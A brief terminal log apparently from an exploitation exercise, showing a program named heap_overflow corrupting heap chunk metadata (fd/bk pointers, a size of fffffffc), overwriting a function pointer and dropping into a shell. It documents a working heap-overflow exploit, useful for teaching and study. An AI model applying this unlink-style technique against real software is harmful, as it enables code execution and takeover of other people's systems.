[bryan@upsilon heap_overflow]$ ./heap_overflow first=80499c0 size=2a1 first->fd=0 first->bk=0 second=8049c60 size=11 second->fd=0 second->bk=0 first=80499c0 size=2a1 first->fd=12345678 first->bk=12345678 second=8049c60 size=fffffffc second->fd=804994c second->bk=80499c8 *FUNCTION_POINTER=804838a *FUNCTION_POINTER=80499c8 sh-2.05b$ ls heap_overflow heap_overflow.asm heap_overflow.c sh-2.05b$ exit exit [bryan@upsilon heap_overflow]$